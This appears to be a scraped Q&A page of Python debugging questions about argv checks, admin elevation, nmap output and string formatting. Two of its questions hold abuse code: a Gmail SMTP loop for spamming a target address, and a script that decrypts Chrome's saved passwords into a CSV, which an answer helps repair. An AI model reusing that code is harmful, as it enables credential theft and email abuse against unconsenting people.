I have this code:
#!/usr/bin/python
import os.path
import sys
if len(sys.argv)<2:
print"You need to specify file!"
if (os.path.isfile(sys.argv[1])):
print "File <%s> exist" % sys.argv[1]
elif (sys.argv[1] == "--help"):
print "Add (only)one file argument to command"
print "--help print this screen"
print "--autor autor name and email adress"
print "--about about this program"
elif (sys.argv[1] == "--about"):
print"Program to identify if the file exists"
print"Copyright Vojtech Horanek 2015"
elif (sys.argv[1] == "--autor"):
print"Vojtech Horanek <vojtechhoranek#gmail.com>"
else:
print"No file <%s> found" % sys.argv[1]
and i want execute this piece of code only while sys.argv[1] is exist:
if (os.path.isfile(sys.argv[1])):
print "File <%s> exist" % sys.argv[1]
elif (sys.argv[1] == "--help"):
print "Add (only)one file argument to command"
print "--help print this screen"
print "--autor autor name and email adress"
print "--about about this program"
elif (sys.argv[1] == "--about"):
print"Program to identify if the file exists"
print"Copyright Vojtech Horanek 2015"
elif (sys.argv[1] == "--autor"):
print"Vojtech Horanek <vojtechhoranek#gmail.com>"
else:
print"No file <%s> found" % sys.argv[1]
if i only start the program without an arguments (python program.py)
it's print this text:
You need to specify file!
Traceback (most recent call last):
File "program.py", line 7, in <module>
if (os.path.isfile(sys.argv[1])):
IndexError: list index out of range
I tried "if sys.argv == 1" but doesnt worked.
Any solutions? Thanks
if len(sys.argv)<2:
print"You need to specify file!"
sys.exit()
Now your program will terminate entirely if the user didn't supply any arguments, rather than continuing and raising an exception.
Related
i am trying to remove the folder variable "name" if its been in the folder longer than X amount of time. Can i run this script in admin mode without having to "right click" and run as admin? If i try to automate this script i would need something to that nature. I try using the os.remove function but i get an error below:
Error
PermissionError: [WinError 5] Access is denied:
Code:
for root, folders, files in os.walk('\\\MYDATA\\user$\\test\\Documents\\chris2020\\test.fof'):
for name in folders:
datetimeFormat = '%Y-%m-%d %H:%M:%S.%f'
filedate = str(datetime.fromtimestamp(os.path.getmtime(os.path.join(root, name))))
now_time = str(datetime.now())
now_time = datetime.strptime(now_time, datetimeFormat)
filetime = datetime.strptime(filedate, datetimeFormat)
difference = now_time-filetime
if difference > timedelta(days=2):
print(filetime)
print(difference)
print('Hi')
# os.remove('\\\MYDATA\\user$\\test\\Documents\\chris2020\\test.fof\\' + name)
shutil.rmtree('\\\MYDATA\\user$\\test\\Documents\\chris2020\\test.fof\\' + name)
file_times = os.path.join("\\\MYDATA\\user$\\test\\Documents\\chris2020\\test.fof\\", name), ": ", str(
difference)
file_times_final.append(file_times[0] + file_times[1] + file_times[2])
else:
print("None")
break
Assuming the issue is that Python is not elevated, the solution provided here might be useful.
To run an external command from within Python, this solution could be suitable:
#!python
# coding: utf-8
import sys
import ctypes
def run_as_admin(argv=None, debug=False):
shell32 = ctypes.windll.shell32
if argv is None and shell32.IsUserAnAdmin():
return True
if argv is None:
argv = sys.argv
if hasattr(sys, '_MEIPASS'):
# Support pyinstaller wrapped program.
arguments = map(unicode, argv[1:])
else:
arguments = map(unicode, argv)
argument_line = u' '.join(arguments)
executable = unicode(sys.executable)
if debug:
print 'Command line: ', executable, argument_line
ret = shell32.ShellExecuteW(None, u"runas", executable, argument_line, None, 1)
if int(ret) <= 32:
return False
return None
if __name__ == '__main__':
ret = run_as_admin()
if ret is True:
print 'I have admin privilege.'
raw_input('Press ENTER to exit.')
elif ret is None:
print 'I am elevating to admin privilege.'
raw_input('Press ENTER to exit.')
else:
print 'Error(ret=%d): cannot elevate privilege.' % (ret, )
The key lines seem to be
import ctypes
shell32 = ctypes.windll.shell32
shell32.ShellExecuteW(None, u"runas", executable, argument_line, None, 1)
I'm in the process of creating a program that takes an IP address, performs an nmap scan, and takes the output and puts it in a text file. The scan works fine, but I can't seem to figure out why it's not writing anything to the text file.
Here is what I have so far
if __name__ == "__main__":
import socket
import nmap
import sys
import io
from libnmap.parser import NmapParser, NmapParserException
from libnmap.process import NmapProcess
from time import sleep
from os import path
#Program Banner
if len(sys.argv) <= 1:
print(
"""
test
""")
sys.exit()
#Grab IP Address as argument
if len(sys.argv)==2:
ip = sys.argv[1]
print "\n[+] Reading IP Address"
#Function - Pass IP to Nmap then start scanning
print "\n[+] Passing " + ip + " to Nmap..."
print("\n[+] Starting Nmap Scan\n")
def nmap_scan(ip, options):
parsed = None
nmproc = NmapProcess(ip, options)
rc = nmproc.run()
if rc != 0:
print("nmap scan failed: {0}".format(nmproc.stderr))
try:
parsed = NmapParser.parse(nmproc.stdout)
except NmapParserException as e:
print("Exception raised while parsing scan: {0}".format(e.msg))
return parsed
#Function - Display Nmap scan results
def show_scan(nmap_report):
for host in nmap_report.hosts:
if len(host.hostnames):
tmp_host = host.hostnames.pop()
else:
tmp_host = host.address
print("Host is [ %s ]\n" % str.upper(host.status))
print(" PORT STATE SERVICE")
for serv in host.services:
pserv = "{0:>5s}/{1:3s} {2:12s} {3}".format(
str(serv.port),
serv.protocol,
serv.state,
serv.service)
if len(serv.banner):
pserv += " ({0})".format(serv.banner)
print(pserv)
#Function - Define output text file name & write to file
def createFile(dest):
name = "Enumerator-Results.txt"
if not(path.isfile(dest+name)):
f = open(dest+name,"a+")
f.write(show_scan(report))
f.close()
if __name__ == "__main__":
report = nmap_scan(ip, "-sV")
if report:
destination = "/root/Desktop/"
createFile(destination)
show_scan(report)
print "\nReport Complete!"
else:
print("No results returned")
You're using print statements in your show_scan() function. Instead try passing the file reference to show_scan() and replacing the print() calls with f.write() calls. This would save to file everything you're currently printing to the terminal.
Alternatively you could just change your code so that the show_scan is separate from the f.write().
ie change
f.write(show_scan(report))
to
f.write(report)
It depends on whether you want to save the raw output or what you're printing to the screen.
Also you will need to pass the reference of the report to createFile so that it has the report to print ie
createFile(destination, report)
Just make sure you are always calling f.write() with a string as its parameter.
#Function - Define output text file name & write to file
def createFile(dest, report):
name = "Enumerator-Results.txt"
if not(path.isfile(dest+name)):
f = open(dest+name,"a+")
f.write(report)
f.close()
if __name__ == "__main__":
report = nmap_scan(ip, "-sV")
if report:
destination = "/root/Desktop/"
createFile(destination, report)
show_scan(report)
print "\nReport Complete!"
else:
print("No results returned")
i am a python beginner and i'd like to get some help from you.
Recently i wrote a program which is about email spamming(retrieving data from a config file) using the 'smtp' module which i can't use very well so when i ran the program, it says this:
enter any key to exit
enter 'spam' to spam an email
Enter: spam
Running..Running..Running..Running..Running..Running..Running..Traceback (most recent call last):
File "C:\Users\Leon\Desktop\Progetti\Gdaze\Gdaze.py", line 61, in <module>
emailSetupAndGo(getData()[0], getData()[1], getData()[2], getData()[3], getData()[4], getData()[5])
File "C:\Users\Leon\Desktop\Progetti\Gdaze\Gdaze.py", line 46, in emailSetupAndGo
server = smtplib.SMPT('smtp.gmail.com:587')
AttributeError: module 'smtplib' has no attribute 'SMPT'
After seeing this error i searched it and found out, on stackoverflow, a solution, but it worked just for people who named the file email.py.
Here you are the source code(I also think i made a mistake with the .split(' ') to delete the spaces) so you can tell me what the error is:
import smtplib
import sys
def getData():
#GETTING DATA FROM THE FILE
configFile = open('config.txt', 'rt')
usernameLine = configFile.readline()
passwordLine = configFile.readline()
nLine = configFile.readline()
fromemailLine = configFile.readline()
toemailLine = configFile.readline()
msgLine = configFile.readline()
configFile.close()
if "<yourgmail's>" in usernameLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<yourgmail's>" in passwordLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<int>" in nLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<youremail>" in fromemailLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<emailtospam>" in toemailLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<msg>" in msgLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
else:
sys.stdout.write("Running..")
#DECLARING THE MAIN VARIABLES
u = str(usernameLine[11:])
pw = str(passwordLine[11:])
n = str(nLine[27:])
fromemail = str(fromemailLine[12:])
toemail = str(toemailLine[10:])
msg = str(msgLine[10:])
#DELETING SPACES IN THE FILE TO STORE CORRECTLY THE DATA
u.split(" ")
pw.split(" ")
n.split(" ")
fromemail.split(" ")
toemail.split(" ")
msg.split(" ")
data = [u, pw, n, fromemail, toemail, msg]
return data
def emailSetupAndGo(n, username, password, fromemail, toemail, message):
server = smtplib.SMPT('smtp.gmail.com:587')
server.starttls()
server.login(username, password)
for i in n:
server.sendmail(fromemail, toemail, message)
server.quit()
def help():
sys.stdout.write("enter any key to exit\nenter 'spam' to spam an email\n")
while True:
help()
entered = input("Enter: ")
if entered == 'spam':
getData()
emailSetupAndGo(getData()[0], getData()[1], getData()[2], getData()[3], getData()[4], getData()[5])
else:
break
And here you are the config file:
username = <yourgmail's>
password = <yourgmail's>
number of emails to spam = <int>
fromemail = <youremail>
toemail = <emailtospam>
message = <msg>
I am running into an issue with parts of my code i have added my errors at the bottom. The issue is arising around the sqllite3.operationError part. i attempted removing it but when i do another error occurs for line 68 'def getpath():', i cant see why the errors are showing up any and all help is appreciated as always thanks. My code is generally for taking Login data out of my database and displaying in an csv file
import os
import sys
import sqlite3
try:
import win32crypt
except:
pass
import argparse
def args_parser():
parser = argparse.ArgumentParser(description="Retrieve Google Chrome Passwords")
parser.add_argument("--output", help="Output to csv file", action="store_true")
args = parser.parse_args()
if args.output:
csv(main())
else:
for data in main():
print (data)
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall
for information in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': information[0],
'username': information[1],
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print('[!] Make sure Google Chrome is not running in the background')
sys.exit(0)
elif (e == 'no such table: logins'):
print('[!] Something wrong with the database name')
sys.exit(0)
elif (e == 'unable to open database file'):
print('[!] Something wrong with the database path')
sys.exit(0)
else:
print (e)
sys.exit(0)
return info_list
def getpath():
if os.name == "nt":
# This is the Windows Path
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
print('[!] Chrome Doesn\'t exists')
sys.exit(0)
return PathName
def csv (info):
with open ('chromepass.csv', 'wb') as csv_file:
csv_file.write('origin_url,username,password \n' .encode('utf'))
for data in info:
csv_file.write(('%s, %s, %s \n' % (data['origin_url'], data['username'], data['password'])).encode('utf-8'))
print ("Data written to Chromepass.csv")
if __name__ == '__main__':
args_parser()
Errors
Traceback (most recent call last):
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 90, in <module>
args_parser()
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 19, in args_parser
for data in main():
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 35, in main
for information in value:
TypeError: 'builtin_function_or_method' object is not iterable
Right way is:
except sqlite3.OperationalError as e:
And you main() should be like:
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall
for information in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': information[0],
'username': information[1],
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print '[!] Make sure Google Chrome is not running in the background'
sys.exit(0)
elif (e == 'no such table: logins'):
print '[!] Something wrong with the database name'
sys.exit(0)
elif (e == 'unable to open database file'):
print '[!] Something wrong with the database path'
sys.exit(0)
else:
print e
sys.exit(0)
return info_list
Any inputs on what is wrong with line phCmd = "ph %s return all".split(' ') % (qgroup) ? I am trying to decipher the string %s.
from subprocess import Popen, PIPE, STDOUT
def main ():
qgroups = ['tech.sw.list','tech.sw.amss']
for qgroup in qgroups:
print qgroup
phCmd = "ph %s return all".split(' ') % (qgroup)
phPipe = Popen(phCmd, stdout=PIPE, stderr=PIPE)
(output, error) = phPipe.communicate()
print output
if phPipe.returncode != 0:
print output
raise IOError, "phcommand %s failed" % (phCmd)
return output
ERROR:
Traceback (most recent call last):
File "test.py", line 20, in <module>
main()
File "test.py", line 9, in main
phCmd = "ph %s return all".split(' ') % (qgroup)
if __name__ == '__main__':
main()
The .split(' ') method call of a string returns a list. Try something like
phCmd = ("ph %s return all" % (qgroup)).split(' ')
instead.
"ph %s return all".split(' ') % (qgroup)
The split() call returns a list, and % is undefined for the argument types list and tuple. I'm not sure what you mean to do here, but it looks like you want:
("ph %s return all" % (qgroup)).split(' ')
When using "%" with strings, you have to place it right after the string. This line of code
phCmd = "ph %s return all".split(' ') % (qgroup)
is actually telling Python to take the list returned by "ph %s return all".split(' ') and run an operation similar to:
>>> 2 % 2
0
>>>
on it using (qgroup), which blows up.
To fix your problem, do this:
phCmd = ("ph %s return all" % qgroup).split(' ')